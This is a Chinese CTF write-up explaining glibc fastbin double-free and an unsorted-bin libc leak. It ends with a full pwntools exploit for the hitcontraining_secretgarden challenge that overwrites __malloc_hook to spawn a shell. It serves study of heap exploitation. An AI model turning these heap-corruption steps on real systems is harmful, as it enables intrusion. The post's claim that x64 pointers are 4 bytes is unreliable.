daliy pwn 2

badmonkey 2021年07月25日 101次浏览

fast bin double free

利用效果

任意地址写

利用原理

free的chunk如果要插入fastbin,只会和fastbin的头比较,如果和头不是同一个chunk,那么就可以插入,那么一次free chunk1,chunk2,chunk1就可以构造一个闭环的fastbin(fastbin自身是单向链表),然后malloc出fastbin头部的chunk(同样是尾部),覆盖这个chunk的fd,使其指向一个低于目的地址的fake chunk,此时fastbin不再是闭环,且fastbin尾部是一个fake chunk,多次malloc得到这个fake chunk后,覆写fake chunk可以实现覆写目标地址。

为什么fd指向fake chunk和fastbin的检查机制有关,详见后文

具体的利用流程,如下图所示:

fastbin_double_free

注意到在利用的过程中,需要寻找一个fake chunk,这是由于malloc fastbin时,会检查被分配出去的chunk的大小是否对应了当前的fastbin链的idx,对应的代码如下:

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
    errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim));
    return NULL;
}

这里面的victim是要被malloc出去的chunk,要检查这个chunk的大小是否合法,比如当前fastbin的大小对应0x70,如果chunksize的大小不是0x70就会报错。所以需要在目标地址附近寻找一个fake chunk,满足fastbin的检查,其实在低地址寻找就可以了,因为heap是向高地址生长的。此后malloc出这个fake chunk,控制好payload的padding长度,就可以覆写目标地址。通常来说可以将__malloc_hook或者__free_hook覆写为one_gadget

例子

hitcontraining_secretgarden

逆向难度不是很大,发现定义了一个结构体

struct flower
{
  char inuse;
  char *name;
  char color[24];
};

有四个主要操作,add,visit,remove,clean

add

首先为flower分配一个chunk,然后根据name的长度分配对应大小的chunk,同时读入name,最后将flower的地址保存在flowerlist

add

visit

遍历整个flowerlist,并根据每个flower的inuse位输出flower的信息。

visit

remove

将指定的flower的name free掉,根据flowerlist中的地址是否有效而决定是否free name的chunk,但是free后并没有将对应的freelist[idx]置为空,导致可以对一个chunk,多次free,如果name的chunk 是fastbin chunk那么可以达到fastbin double free的效果。

remove

clean

同时根据flowerlist的地址以及对应地址的inuse位,free掉flower结构体所占用的chunk。

clean

leak libc

开启了aslr,需要泄漏libc的地址,泄漏的思路是利用unsorted binundsorted bin是一个双向链表,且保存在arena中,对于单线程来说保存在main_arena中,而main_arena则保存在数据段,可以根据其地址泄漏libc的地址。

具体的思路为,申请一个大于fastbin 的chunk,然后free掉(会被加入到unsorted bin中),由于此时unsorted bin只有一个chunk,此chunk的fd和bk均指向unsorted bin headmain_arena+88处,此后再次申请此大小的chunk(fastbin中找不到会在unsorted bin中找到并分配此chunk),由于一定会写入name字段,控制其长度为8,使其仅仅影响了原chunk的fd字段,bk字段没有被影响,然后visit时,会将bk字段输出,进而得到main_arena+88,从而泄漏了libc_base

leak libc

为什么unsorted bin head对应main_arena+88呢?实际上可以在源码中找到这部分代码

struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
}

x64下指针4个字节,unsorted bin为bins的第一个元素,初始是其指向top的地址,在malloc_init_state初始化时计算得到的。

/* Establish circular links for normal bins */
for (i = 1; i < NBINS; ++i)
{
    bin = bin_at (av, i);
    bin->fd = bin->bk = bin;
}

mutexflags都是4字节,同时还有10个mfastbinptr,故对应4+4+8*10,共88字节,所以unsorted bin head对应main_arena+88

double free

leak libc之后可以得到__malloc_hook的地址,目的是将__malloc_hook覆盖为magic的地址(题目中预留的后门),然后malloc时可以getshell。注意到remove操作中,可以对name的chunk 进行double free,于是可以考虑寻找一个__malloc_hook下方的一个fake chunk,然后根据这个fake chunk的大小进行double free,不过需要注意的是在寻找fake chunk过程中要注意小端序的问题。

经过寻找后,发现如下地址

target

得到一个大小为0x70的fake chunk,覆写__malloc_hook需要填充0x13个字节。

fake chunk

payload

最终的payload如下:

'''
@author: badmonkey
@software: PyCharm
@file: exp.py
@time: 2021/7/25 下午4:11
'''
from pwn import *

LOCAL = 1
DEBUG = 1

filename = "./secretgarden" # your file name
IP = "node4.buuoj.cn" # your ip
PORT = 26083 # your port
ld = "./ld-2.23.so"
libc = "./libc-2.23.so"
LIBC = ELF(libc)
gdb.context.terminal = ["konsole","-e"]

if DEBUG:
    context.log_level = "debug"
elf = ELF(filename)
if LOCAL:
    sh = process([ld,filename],env={"LD_PRELOAD":libc})
else:
    sh = remote(IP,PORT)

def add(size,name):
    sh.recvuntil("Your choice : ")
    sh.sendline("1")
    sh.recvuntil("name :")
    sh.sendline(str(size))
    sh.recvuntil("flower :")
    sh.sendline(name)
    sh.recvuntil("flower :")
    sh.sendline("blue")

def show():
    sh.recvuntil("choice : ")
    sh.sendline("2")

def remove(index):
    sh.recvuntil("choice : ")
    sh.sendline("3")
    sh.recvuntil("garden:")
    sh.sendline(str(index))

def clean():
    sh.recvuntil("choice : ")
    sh.sendline("4")

def leave():
    sh.recvuntil("choice : ")
    sh.sendline("5")

add(0x80,"badmonkey")
add(0x60,"goodmonkey")
# free 0x80 到unsorted bin
remove(0)
clean()
# 将unsorted bin 中的元素提取出来一个,但是由于fd 和bk都指向了unsorted bin的头部(对应在数据段,main_arena中保存bin链)
# gdb.attach(sh)
add(0x80,"aaaaaaa")
show()
sh.recvuntil("aaaaaaa\n")
main_arena = u64(sh.recv(6).ljust(8,b"\x00"))-88
libc_base = main_arena - 0x19db20
__malloc_hook = libc_base+LIBC.sym["__malloc_hook"]
print("__malloc_hook = ",hex(__malloc_hook))
# print(hex(main_arena))
add(0x60,"a")
add(0x60,"a")
remove(1)
remove(2)
remove(1)

# gdb.attach(sh)
add(0x60,p64(__malloc_hook-0x23))
add(0x60,"a")
add(0x60,"a")
# gdb.attach(sh)
add(0x60,b"a"*0x13+p64(0x400C5E))
sh.sendline("1")

sh.interactive()